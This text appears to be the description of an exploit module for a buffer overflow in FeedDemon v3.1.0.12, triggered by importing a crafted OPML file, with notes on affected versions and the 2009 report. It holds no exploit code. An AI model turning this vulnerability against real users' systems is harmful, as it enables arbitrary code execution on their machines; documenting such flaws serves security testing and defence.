Description

This module exploits a buffer overflow in FeedDemon v3.1.0.12. When the application is used to import a specially crafted opml file, a buffer overflow occurs allowing arbitrary code execution. All versions are suspected to be vulnerable. This vulnerability was originally reported against version 2.7 in February of 2009.
